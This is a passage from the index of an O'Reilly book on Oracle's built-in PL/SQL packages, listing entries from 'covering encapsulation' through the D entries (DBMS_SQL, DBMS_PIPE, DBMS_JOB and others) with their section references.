covering encapsulation : 1.3.5. Encapsulating Access to the Built-in Packages
create_file procedure : 6.2.7.2. Creating a file
CREATE_MASTER_REPGROUP procedure
15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure
15.3.1.1. DBMS_REPCAT programs
CREATE_MASTER_REPOBJECT procedure
15.3.1.1. DBMS_REPCAT programs
15.3.3.1. The DBMS_REPCAT.CREATE_MASTER_REPOBJECT procedure
CREATE_PIPE function
3.1.1.1. DBMS_PIPE programs
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
create_priority_queue procedure : 5.7.1. Improving AQ Ease of Use
create_queue procedure : 5.7.1. Improving AQ Ease of Use
CREATE_QUEUE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.2.1. The DBMS_AQADM.CREATE_QUEUE procedure
CREATE_QUEUE_TABLE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
LOB storage and : 5.3.3. Queue Type Names
CREATE_SNAPSHOT_REPGROUP procedure
14.4.1.1. DBMS_REPCAT programs
14.4.2.1. The DBMS_REPCAT.CREATE_SNAPSHOT_REPGROUP procedure
CREATE_SNAPSHOT_REPOBJECT procedure
14.4.3.1. The DBMS_REPCAT.CREATE_SNAPSHOT_REPOBJECT procedure
14.4.1.1. DBMS_REPCAT programs
crefile.sp : 6.2.7.2. Creating a file
creind.sp : 2.1. Examples of Dynamic SQL
currency format (NLS), setting : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
current transaction, registering : 7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure
current_choice function : 5.7.8.2. Overriding with a recipient list
current_name function : 12.1.3.1. The segspace package
current_row function : 7.3.9. Tracking Long-Running Processes
current_schema function : 12.1.3.1. The segspace package
current_type function : 12.1.3.1. The segspace package
cursor variables, dynamic SQL and : 2.4.1. Some Restrictions
cursors
checking status
2.3.10. Checking Cursor Status
2.3.2.2. The DBMS_SQL.IS_OPEN function
closing
2.3.1. Processing Flow of Dynamic SQL
2.3.9. Closing the Cursor
2.3.9.1. The DBMS_SQL.CLOSE_CURSOR procedure
2.4.4. Minimizing Memory for Cursors
closing cached cursors : 11.1.4.4. The DBMS_SESSION.SET_CLOSE_CACHED_OPEN_CURSORS procedure
defining columns : 2.3.5. Defining Cursor Columns
defining structure of (example) : 2.5.4.5. Defining the cursor structure
executing associated SQL statement : 2.3.6.1. The DBMS_SQL.EXECUTE function
LOBs and : 8.2.1.1. Internal and external LOBs
obtaining structure of (example) : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
opening
2.3.1. Processing Flow of Dynamic SQL
2.3.2. Opening the Cursor
2.3.2.1. The DBMS_SQL.OPEN_CURSOR function
pinning into shared pool : 12.2.4.2. Pinning cursors into the shared pool
reusing
2.3.2.1. The DBMS_SQL.OPEN_CURSOR function
2.3.4. Binding Values into Dynamic SQL
2.4.4. Minimizing Memory for Cursors

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: D

data block addresses
block numbers, returning
9.1.3.1. The DBMS_ROWID.ROWID_BLOCK_NUMBER function
10.1.2.6. The DBMS_UTILITY.DATA_BLOCK_ADDRESS_BLOCK function
constructing : 10.1.2.16. The DBMS_UTILITY.MAKE_DATA_BLOCK_ADDRESS function
dropped files and : 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function
file numbers, returning : 10.1.2.7. The DBMS_UTILITY.DATA_BLOCK_ADDRESS_FILE function
Data Definition Language statements : (see DDL statements)
Data Manipulation Language statements : (see DML statements)
DATA_BLOCK_ADDRESS_BLOCK function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.6. The DBMS_UTILITY.DATA_BLOCK_ADDRESS_BLOCK function
DATA_BLOCK_ADDRESS_FILE function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.7. The DBMS_UTILITY.DATA_BLOCK_ADDRESS_FILE function
database events : (see alerts)
database links
advanced replication and : 15.1.2. Granting and Revoking Surrogate SYS Accounts
closing : 11.1.4.1. The DBMS_SESSION.CLOSE_DATABASE_LINK procedure
enhancement : 11.1.5.5. The close_links procedure
deferred transactions and : 17.2.2.1. The DBMS_DEFER.SYS.ADD_DEFAULT_DEST procedure
job execution and : 13.1.2.2. The what parameter
job scheduling and : 13.2.2. Job Execution and the Job Execution Environment
names for
parsing : 10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure
returning : 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
database segments, extended ROWID format and : 9.1.2. ROWID Concepts
databases
(see also remote databases)
5.1.4. Propagation Features
shutdown and job queue : 13.2.1.3. JOB_QUEUE_KEEP_CONNECTIONS
space utilization : 12.1. DBMS_SPACE: Obtaining Space Information
version information : 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure
datatypes
determining (example) : 2.5.4.3. Constructing the SELECT
message structure and : 5.1.1. General Features
numeric values for : 3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function
DBMS_DEFER_QUERY : 17.4.1.2. DBMS_DEFER_QUERY nonprogram elements
DESCRIBE_COLUMNS : 2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure
DESCRIBE_PROCEDURE : 10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure
GET_ARG_TYPE : 17.4.1.3. The DBMS_DEFER_QUERY.GET_ARG_TYPE function
UNPACK_MESSAGE : 3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure
Oracle8
2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure
2.4.1. Some Restrictions
date format (NLS), setting : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
date-to/from-raw conversions : 9.2.2.1. Conversion and coercion
DATE_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
db package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function
10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure
db_block_buffers function : 10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function
DB_VERSION procedure
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure
DBA_2PC_PENDING view
4.2.2. Advising Oracle About In-Doubt Transactions
4.2.3.2. The DBMS_TRANSACTION.COMMIT_COMMENT procedure
4.2.3.3. The DBMS_TRANSACTION.COMMIT_FORCE procedure
4.2.4.2. The DBMS_TRANSACTION.ROLLBACK_FORCE procedure
4.2.6.1. The DBMS_TRANSACTION.PURGE_MIXED procedure
4.2.6.2. The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure
DBA_JOBS view
5.6.2.3. The DBA_JOBS view
13.3.2. Viewing Job Information in the Data Dictionary
DBA_JOBS_RUNNING view : 13.3.2. Viewing Job Information in the Data Dictionary
DBA_KEEPSIZES view : 12.2.4.3. The DBA_KEEPSIZES view
DBA_QUEUE_TABLES view
5.1.8. Data Dictionary Views
5.6.2.1. The DBA_QUEUE_TABLES view
DBA_QUEUES view
5.1.8. Data Dictionary Views
5.6.2.2. The DBA_QUEUES view
DBA_REGISTERED_SNAPSHOTS view : 14.1.6. Registering Snapshots
DBA_REPCOLUMN_GROUP view : 16.1.4. Data Dictionary Views
DBA_REPCONFLICT view : 16.1.4. Data Dictionary Views
DBA_REPGROUPED_COLUMN view : 16.1.4. Data Dictionary Views
DBA_REPPARAMETER_COLUMN view : 16.1.4. Data Dictionary Views
DBA_REPPRIORITY view : 16.1.4. Data Dictionary Views
DBA_REPPRIORITY_GROUP view : 16.1.4. Data Dictionary Views
DBA_REPRESOL_STATS_CONTROL view : 16.1.4. Data Dictionary Views
DBA_REPRESOLUTION view : 16.1.4. Data Dictionary Views
DBA_REPRESOLUTION_METHOD view : 16.1.4. Data Dictionary Views
DBA_REPRESOLUTION_STATISTICS view : 16.1.4. Data Dictionary Views
dblock package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
4.1.4.1. The dblock package
dblock.sql : 4.1.4.1. The dblock package
DBMS_ALERT package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
3.2. DBMS_ALERT: Broadcasting Alerts to Users
3.2.1.1. DBMS_ALERT programs
creating : 3.2.1. Getting Started with DBMS_ALERT
examples : 3.2.3. DBMS_ALERT Examples
exceptions : 3.2.1.1. DBMS_ALERT programs
multiple consumers and : 5.7.8. Working with Multiple Consumers
Oracle Parallel Server and : 3.2.2.4. The DBMS_ALERT.SET_DEFAULTS procedure
privileges : 3.2.1. Getting Started with DBMS_ALERT
programs contained in : 3.2.1.1. DBMS_ALERT programs
transactional behavior : 3.2.3. DBMS_ALERT Examples
DBMS_APPLICATION_INFO package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
7. Defining an Application Profile
7.1.1. DBMS_APPLICATION_INFO Programs
creating : 7.1. Getting Started with DBMS_APPLICATION_INFO
distinguishing users with : 7.3.8. Session Monitoring and Three-Tier Architectures
encapsulating : 7.3.6. Covering DBMS_APPLICATION_INFO
examples of use : 7.3. DBMS_APPLICATION_INFO Examples
exceptions : 7.1.1. DBMS_APPLICATION_INFO Programs
performance analysis with
7. Defining an Application Profile
7.3. DBMS_APPLICATION_INFO Examples
7.3.7. Monitoring Application SQL Resource Consumption
7.3.8. Session Monitoring and Three-Tier Architectures
privileges : 7.1. Getting Started with DBMS_APPLICATION_INFO
programs contained in : 7.1.1. DBMS_APPLICATION_INFO Programs
V$ elements used : 7.1.2. The V$ Virtual Tables
DBMS_AQ package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
5. Oracle Advanced Queuing
5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)
creating : 5.2.1. Installing the Oracle AQ Facility
exceptions
5.3.9. Oracle AQ Exceptions
5.4.2.6. Dequeuing with message grouping
privileges : 5.2.1. Installing the Oracle AQ Facility
programs contained in : 5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)
roles : 5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)
DBMS_AQADM package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
5. Oracle Advanced Queuing
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
creating : 5.2.1. Installing the Oracle AQ Facility
exceptions
5.3.9. Oracle AQ Exceptions
5.5.3.1. The DBMS_AQADM.ADD_SUBSCRIBER procedure
privileges : 5.2.1. Installing the Oracle AQ Facility
programs contained in : 5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
roles : 5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
subscribers and : 5.5.3. Managing Queue Subscribers
DBMS_CRYPTO_TOOLKIT package : 10.4. DBMS_RANDOM: Generating Random Numbers (Oracle8 Only)
DBMS_DDL package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
10.3. DBMS_DDL: Compiling and Analyzing Objects
10.3.1.1. DBMS_DDL programs
commitment and : 10.3.1. Getting Started with DBMS_DDL
creating : 10.3.1. Getting Started with DBMS_DDL
exceptions : 10.3.1.1. DBMS_DDL programs
privileges : 10.3.1. Getting Started with DBMS_DDL
programs contained in : 10.3.1.1. DBMS_DDL programs
DBMS_DEFER package
(see also deferred transactions; specific program names)
1.2. Built-in Packages Covered in This Book
17.3. DBMS_DEFER: Building Deferred Calls
17.3.1.1. DBMS_DEFER programs
creating : 17.3.1. Getting Started with DBMS_DEFER
exceptions : 17.3.1.2. DBMS_DEFER exceptions
privileges : 17.3. DBMS_DEFER: Building Deferred Calls
programs contained in : 17.3.1.1. DBMS_DEFER programs
DBMS_DEFER_QUERY package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
17.4. DBMS_DEFER_QUERY: Performing Diagnostics and Maintenance
17.4.1.1. DBMS_DEFER_QUERY programs
creating : 17.4.1. Getting Started with DBMS_DEFER_QUERY
exceptions : 17.4.1.1. DBMS_DEFER_QUERY programs
privileges : 17.4.1. Getting Started with DBMS_DEFER_QUERY
programs contained in : 17.4.1.1. DBMS_DEFER_QUERY programs
DBMS_DEFER_SYS package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
17.2. DBMS_DEFER_SYS: Managing Deferred Transactions
17.2.1.1. DBMS_DEFER_SYS programs
creating : 17.2.1. Getting Started with DBMS_DEFER_SYS
exceptions : 17.2.1.2. DBMS_DEFER_SYS exceptions
privileges : 17.2.1. Getting Started with DBMS_DEFER_SYS
programs contained in : 17.2.1.1. DBMS_DEFER_SYS programs
DBMS_DESCRIBE package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
10.2. DBMS_DESCRIBE: Describing PL/SQL Program Headers
10.2.1.1. DBMS_DESCRIBE program
creating : 10.2.1. Getting Started with DBMS_DESCRIBE
example
10.2.3. DBMS_DESCRIBE Example
10.2.2. Explaining DBMS_DESCRIBE Results
exceptions : 10.2.1.4. Exceptions
level, meaning of : 10.2.2.2. The DESCRIBE level
overloading : 10.2.2.3. How overloading is handled
privileges : 10.2.1. Getting Started with DBMS_DESCRIBE
program name syntax : 10.2.2.1. Specifying a program name
programs contained in : 10.2.1.1. DBMS_DESCRIBE program
programs within packages and : 10.2.3.2. Using psdesc.args as a quality assurance tool
quality assurance using psdesc package : 10.2.3.2. Using psdesc.args as a quality assurance tool
DBMS_IJOB package : 13.3.3. DBMS_IJOB: Managing Other Users' Jobs
DBMS_JOB package
(see also job queue; job scheduling; specific program names)
1.2. Built-in Packages Covered in This Book
13. Job Scheduling in the Database
13.1.1. DBMS_JOB Programs
analyzing table space : 13.4.1. Tracking Space in Tablespaces
creating : 13.1. Getting Started with DBMS_ JOB
exceptions : 13.1.1. DBMS_JOB Programs
privileges : 13.1. Getting Started with DBMS_ JOB
programs contained in : 13.1.1. DBMS_JOB Programs
DBMS_LOB package
(see also LOBs; specific program names)
1.2. Built-in Packages Covered in This Book
8. Managing Large Objects
creating : 8.1. Getting Started with DBMS_LOB
examples, introduction to : 8.1.4. About the Examples
exceptions : 8.1.2. DBMS_LOB Exceptions
handling of : 8.1.4. About the Examples
privileges : 8.1. Getting Started with DBMS_LOB
programs contained in : 8.1.1. DBMS_LOB Programs
DBMS_LOCK package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
4.1. DBMS_LOCK: Creating and Managing Resource Locks
4.1.1.1. DBMS_LOCK programs
alert signaling and : 3.2.2.5. The DBMS_ALERT.SIGNAL procedure
creating : 4.1.1. Getting Started with DBMS_LOCK
examples : 4.1.4. DBMS_LOCK Examples
exceptions : 4.1.1.1. DBMS_LOCK programs
privileges : 4.1.1. Getting Started with DBMS_LOCK
programs contained in : 4.1.1.1. DBMS_LOCK programs
serializing locks : 4.1. DBMS_LOCK: Creating and Managing Resource Locks
tips on using : 4.1.3. Tips on Using DBMS_LOCK
DBMS_OFFLINE_OG package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
15.4. DBMS_OFFLINE_OG: Performing Site Instantiation
15.4.1. Getting Started with DBMS_OFFLINE_OG
creating : 15.4.1. Getting Started with DBMS_OFFLINE_OG
exceptions : (see specific program names)
privileges : 15.4.1. Getting Started with DBMS_OFFLINE_OG
programs contained in : 15.4.1. Getting Started with DBMS_OFFLINE_OG
DBMS_OFFLINE_SNAPSHOT package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
14.3. DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation
14.3.1.1. DBMS_OFFLINE_SNAPSHOT programs
creating : 14.3.1. Getting Started with DBMS_OFFLINE_SNAPSHOT
exceptions : 14.3.1.2. DBMS_OFFLINE_SNAPSHOT exceptions
privileges : 14.3.1. Getting Started with DBMS_OFFLINE_SNAPSHOT
programs contained in : 14.3.1.1. DBMS_OFFLINE_SNAPSHOT programs
DBMS_OUTPUT package
(see also output generation; specific program names)
1.2. Built-in Packages Covered in This Book
6.1. DBMS_OUTPUT: Displaying Output
6.1.1.1. DBMS_OUTPUT programs
buffer size : 6.1.2.1. The DBMS_OUTPUT.ENABLE procedure
concepts : 6.1.1.2. DBMS_OUTPUT concepts
creating : 6.1.1. Getting Started with DBMS_OUTPUT
data structures : 6.1.1.4. DBMS_OUTPUT nonprogram elements
datatypes supported : 6.1.1.2. DBMS_OUTPUT concepts
drawbacks : 6.1.1.5. Drawbacks of DBMS_OUTPUT
encapsulating : 6.1.6.1. Encapsulating DBMS_OUTPUT
example : 6.1.6. DBMS_OUTPUT Examples
exceptions : 6.1.1.3. DBMS_OUTPUT exceptions
unhandled exceptions : 6.1.5. Tips on Using DBMS_OUTPUT
privileges : 6.1.1. Getting Started with DBMS_OUTPUT
programs contained in : 6.1.1.1. DBMS_OUTPUT programs
tips for using : 6.1.5. Tips on Using DBMS_OUTPUT
DBMS_PIPE package
(see also message buffers; messages (pipes); pipes; specific program names)
1.2. Built-in Packages Covered in This Book
3.1. DBMS_PIPE: Communicating Between Sessions
3.1.1.1. DBMS_PIPE programs
applications of : 3.1. DBMS_PIPE: Communicating Between Sessions
creating : 3.1.1. Getting Started with DBMS_PIPE
examples : 3.1.7. DBMS_PIPE Examples
exceptions : 3.1.1.1. DBMS_PIPE programs
external services and : 3.1.7.1. Communicating with the outside world
logging and : 3.1.7.4. Implementing a server program
nontransactional behavior : 3.1.2.2. Nontransactional communications
PL/SQL server implementation using : 3.1.7.4. Implementing a server program
privileges : 3.1.1. Getting Started with DBMS_PIPE
programs contained in : 3.1.1.1. DBMS_PIPE programs
sending/receiving relationship : 3.1.7.3. The dbpipe utility package
tips on using : 3.1.6. Tips on Using DBMS_PIPE
DBMS_RANDOM package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
10.4. DBMS_RANDOM: Generating Random Numbers (Oracle8 Only)
10.4.1. Getting Started with DBMS_RANDOM
creating : 10.4.1. Getting Started with DBMS_RANDOM
exceptions : 10.4.1. Getting Started with DBMS_RANDOM
privileges : 10.4.1. Getting Started with DBMS_RANDOM
programs contained in : 10.4.1. Getting Started with DBMS_RANDOM
DBMS_RECTIFIER_DIFF package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
15.5. DBMS_RECTIFIER_DIFF: Comparing Replicated Tables
15.5.1. Getting Started with DBMS_RECTIFIER_DIFF
creating : 15.5.1. Getting Started with DBMS_RECTIFIER_DIFF
exceptions : (see specific program names)
privileges : 15.5.1. Getting Started with DBMS_RECTIFIER_DIFF
programs contained in : 15.5.1. Getting Started with DBMS_RECTIFIER_DIFF
DBMS_REFRESH package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
14.2. DBMS_REFRESH: Managing Snapshot Groups
14.2.1. Getting Started with DBMS_REFRESH
creating : 14.2.1. Getting Started with DBMS_REFRESH
exceptions : 14.2.1. Getting Started with DBMS_REFRESH
privileges : 14.2.1. Getting Started with DBMS_REFRESH
programs contained in : 14.2.1. Getting Started with DBMS_REFRESH
DBMS_REPCAT package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
14.4. DBMS_REPCAT: Managing Snapshot Replication Groups
15.3.1. Getting Started with DBMS_REPCAT
15.3.1.1. DBMS_REPCAT programs
16. Conflict Resolution
creating
14.4.1. Getting Started with DBMS_REPCAT
15.3.1. Getting Started with DBMS_REPCAT
16.1. Getting Started with DBMS_REPCAT
data dictionary views : 16.1.4. Data Dictionary Views
exceptions
14.4.1.2. DBMS_REPCAT exceptions
15.3.1.2. Exceptions
16.1.2. DBMS-REPCAT Exceptions
privileges
14.4.1. Getting Started with DBMS_REPCAT
15.3.1. Getting Started with DBMS_REPCAT
16.1. Getting Started with DBMS_REPCAT
programs contained in
14.4.1.1. DBMS_REPCAT programs
15.3.1.1. DBMS_REPCAT programs
16.1.1. DBMS_REPCAT Programs
DBMS_REPCAT_ADMIN package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
15.2. DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts
15.2.1.1. DBMS_REPCAT_ADMIN programs
creating : 15.2.1. Getting Started with DBMS_REPCAT_ADMIN
exceptions : 15.2.1.2. DBMS_REPCAT_ADMIN exceptions
privileges : 15.2.1. Getting Started with DBMS_REPCAT_ADMIN
programs contained in : 15.2.1.1. DBMS_REPCAT_ADMIN programs
DBMS_REPCAT_AUTH package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
15.1.1. Getting Started with DBMS_REPCAT_AUTH
15.1.1.1. DBMS_REPCAT_AUTH programs
creating : 15.1.1. Getting Started with DBMS_REPCAT_AUTH
exceptions : 15.1.1.2. DBMS_REPCAT_AUTH exceptions
privileges : 15.1.1. Getting Started with DBMS_REPCAT_AUTH
programs contained in : 15.1.1.1. DBMS_REPCAT_AUTH programs
DBMS_REPUTIL package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
15.6. DBMS_REPUTIL: Enabling and Disabling Replication
15.6.1. Getting Started with DBMS_REPUTIL
programs contained in : 15.6.1. Getting Started with DBMS_REPUTIL
DBMS_ROWID package
(see also ROWIDs; specific program names)
1.2. Built-in Packages Covered in This Book
9.1. DBMS_ROWID: Working with the ROWID Pseudo-Column (Oracle8 only)
9.1.1.1. DBMS_ROWID programs
creating : 9.1.1. Getting Started with DBMS_ROWID
data structures : 9.1.1.3. DBMS_ROWID nonprogram elements
exceptions : 9.1.1.2. DBMS_ROWID exceptions
privileges : 9.1.1. Getting Started with DBMS_ROWID
programs contained in : 9.1.1.1. DBMS_ROWID programs
DBMS_SESSION package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
11.1. DBMS_SESSION: Managing Session Information
11.1.1.1. DBMS_SESSION programs
creating : 11.1.1. Getting Started with DBMS_SESSION
enhancing : 11.1.5.1. Adding value to DBMS_SESSION
exceptions : 11.1.1.1. DBMS_SESSION programs
privileges : 11.1.1. Getting Started with DBMS_SESSION
program use : 11.1.5. DBMS_SESSION Examples
programs contained in : 11.1.1.1. DBMS_SESSION programs
DBMS_SHARED_POOL package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
12.2. DBMS_SHARED_POOL: Pinning Objects
12.2.1. Getting Started with DBMS_SHARED_POOL
creating : 12.2.1. Getting Started with DBMS_SHARED_POOL
examples : 12.2.4. DBMS_SHARED_POOL Examples
exceptions : 12.2.1. Getting Started with DBMS_SHARED_POOL
privileges : 12.2.1. Getting Started with DBMS_SHARED_POOL
programs contained in : 12.2.1. Getting Started with DBMS_SHARED_POOL
DBMS_SNAPSHOT package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
14.1. DBMS_SNAPSHOT: Managing Snapshots
14.1.1. Getting Started with DBMS_SNAPSHOT
creating : 14.1.1. Getting Started with DBMS_SNAPSHOT
exceptions : 14.1.2. Using the I_AM_A_REFRESH Package State Variable
privileges : 14.1.1. Getting Started with DBMS_SNAPSHOT
programs contained in : 14.1.1. Getting Started with DBMS_SNAPSHOT
DBMS_SPACE package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
12.1. DBMS_SPACE: Obtaining Space Information
12.1.1. Getting Started with DBMS_SPACE
creating : 12.1.1. Getting Started with DBMS_SPACE
encapsulating : 12.1.3. DBMS_SPACE Examples
exceptions : 12.1.1. Getting Started with DBMS_SPACE
privileges : 12.1.1. Getting Started with DBMS_SPACE
programs contained in : 12.1.1. Getting Started with DBMS_SPACE
DBMS_SQL package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
2. Executing Dynamic SQL and PL/SQL
2.2.3. DBMS_SQL Programs
array processing with : 2.5.6. Array Processing with DBMS_SQL
creating : 2.2.1. Creating the DBMS_SQL Package
DDL statement execution
2. Executing Dynamic SQL and PL/SQL
2.4.7. Executing DDL in PL/SQL
binding versus concatenation : 2.3.4. Binding Values into Dynamic SQL
examples : 2.5. DBMS_SQL Examples
array processing : 2.5.6. Array Processing with DBMS_SQL
displaying table contents with Method 4 dynamic SQL : 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL
encapsulating DESCRIBE_COLUMNS : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
generic drop_object procedure : 2.5.1. A Generic Drop_Object Procedure
generic foreign key lookup : 2.5.2. A Generic Foreign Key Lookup Function
indirect referencing : 2.5.5. Indirect Referencing in PL/SQL
RETURNING clause, use of : 2.5.7. Using the RETURNING Clause in Dynamic SQL
exceptions : 2.2.5. DBMS_SQL Exceptions
nested variable restrictions : 2.4.1. Some Restrictions
objects, restrictions on : 2.4.1. Some Restrictions
Oracle8 datatype restrictions : 2.4.1. Some Restrictions
performance improvement using : 2.4.5. Improving the Performance of Dynamic SQL
privileges
2.2.1. Creating the DBMS_SQL Package
2.4.2. Privileges and Execution Authority with DBMS_SQL
processing flow : 2.3.1. Processing Flow of Dynamic SQL
programs contained in : 2.2.3. DBMS_SQL Programs
SQL statements, language version in parsing : 2.2.6. DBMS_SQL Nonprogram Elements
variable arrays : 2.4.1. Some Restrictions
DBMS_STANDARD package : 1.4.2. The DBMS_STANDARD Package
DBMS_SYSTEM package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
11.2. DBMS_System: Setting Events for Debugging
11.2.1. Getting Started with DBMS_SYSTEM
creating : 11.2.1. Getting Started with DBMS_SYSTEM
encapsulating : 11.2.3. DBMS_SYSTEM Examples
exceptions : 11.2.1. Getting Started with DBMS_SYSTEM
privileges : 11.2.1. Getting Started with DBMS_SYSTEM
programs contained in : 11.2.1. Getting Started with DBMS_SYSTEM
DBMS_TRANSACTION package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
4.2. DBMS_TRANSACTION: Interfacing to SQL Transaction Statements
4.2.1.1. DBMS_TRANSACTION programs
commitment : 4.2.3. Committing Data
creating : 4.2.1. Getting Started with DBMS_TRANSACTION
exceptions in : 4.2.1.2. DBMS_TRANSACTION exceptions
privileges : 4.2.1. Getting Started with DBMS_TRANSACTION
programs contained in : 4.2.1.1. DBMS_TRANSACTION programs
rollback : 4.2.4. Rolling Back Changes
transaction characteristics : 4.2.5. Setting Transaction Characteristics
DBMS_UTILITY package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
10.1. DBMS_UTILITY: Performing Miscellaneous Operations
10.1.1. Getting Started with DBMS_UTILITY
creating : 10.1.1. Getting Started with DBMS_UTILITY
privileges : 10.1.1. Getting Started with DBMS_UTILITY
programs contained in : 10.1.1. Getting Started with DBMS_UTILITY
tables used by : 10.1.1.1. DBMS_UTILITY nonprogram elements
dbmsalrt.sql script
3.2.1. Getting Started with DBMS_ALERT
3.2.3. DBMS_ALERT Examples
dbmsapin.sql script : 7.1. Getting Started with DBMS_APPLICATION_INFO
dbmsdefr.sql script
17.2.1. Getting Started with DBMS_DEFER_SYS
17.3.1. Getting Started with DBMS_DEFER
17.4.1. Getting Started with DBMS_DEFER_QUERY
dbmsdesc.sql script
10.2.1. Getting Started with DBMS_DESCRIBE
10.3.1. Getting Started with DBMS_DDL
dbmsgen.sql script : 15.6.1. Getting Started with DBMS_REPUTIL
dbmsjob.sql script : 13.1. Getting Started with DBMS_ JOB
dbmslob.sql script : 8.1. Getting Started with DBMS_LOB
dbmslock.sql script : 4.1.1. Getting Started with DBMS_LOCK
dbmsoctk.sql script : 10.4.1. Getting Started with DBMS_RANDOM
dbmsofln.sql script
14.3.1. Getting Started with DBMS_OFFLINE_SNAPSHOT
15.4.1. Getting Started with DBMS_OFFLINE_OG
dbmsoutp.sql script : 6.1.1. Getting Started with DBMS_OUTPUT
dbmspipe.sql script : 3.1.1. Getting Started with DBMS_PIPE
dbmspool.sql script : 12.2.1. Getting Started with DBMS_SHARED_POOL
dbmsrand.sql script : 10.4.1. Getting Started with DBMS_RANDOM
dbmsrepc.sql script
14.4.1. Getting Started with DBMS_REPCAT
15.1.1. Getting Started with DBMS_REPCAT_AUTH
15.2.1. Getting Started with DBMS_REPCAT_ADMIN
15.3.1. Getting Started with DBMS_REPCAT
15.5.1. Getting Started with DBMS_RECTIFIER_DIFF
16.1. Getting Started with DBMS_REPCAT
dbmssnap.sql script
14.1.1. Getting Started with DBMS_SNAPSHOT
14.2.1. Getting Started with DBMS_REFRESH
dbmssql.sql script : 2.2.1. Creating the DBMS_SQL Package
dbmsstdx.sql file : 1.4.2. The DBMS_STANDARD Package
dbmsutil.sql script
1.4. Examining Built-in Package Source Code
11.2.1. Getting Started with DBMS_SYSTEM
dbparm package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function
dbparm.spp : 10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function
dbpipe package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
3.1.7.3. The dbpipe utility package
dbpipe.sql
3.1.7.3. The dbpipe utility package
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function
3.1.3.4. The DBMS_PIPE.PURGE procedure
dbstart script : 12.2.4.1. Pinning packages automatically
dbver.spp : 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure
DDL statements
commitment and : 10.3.1. Getting Started with DBMS_DDL
deferred parsing and : 2.3.4. Binding Values into Dynamic SQL
executing
2. Executing Dynamic SQL and PL/SQL
2.4.7. Executing DDL in PL/SQL
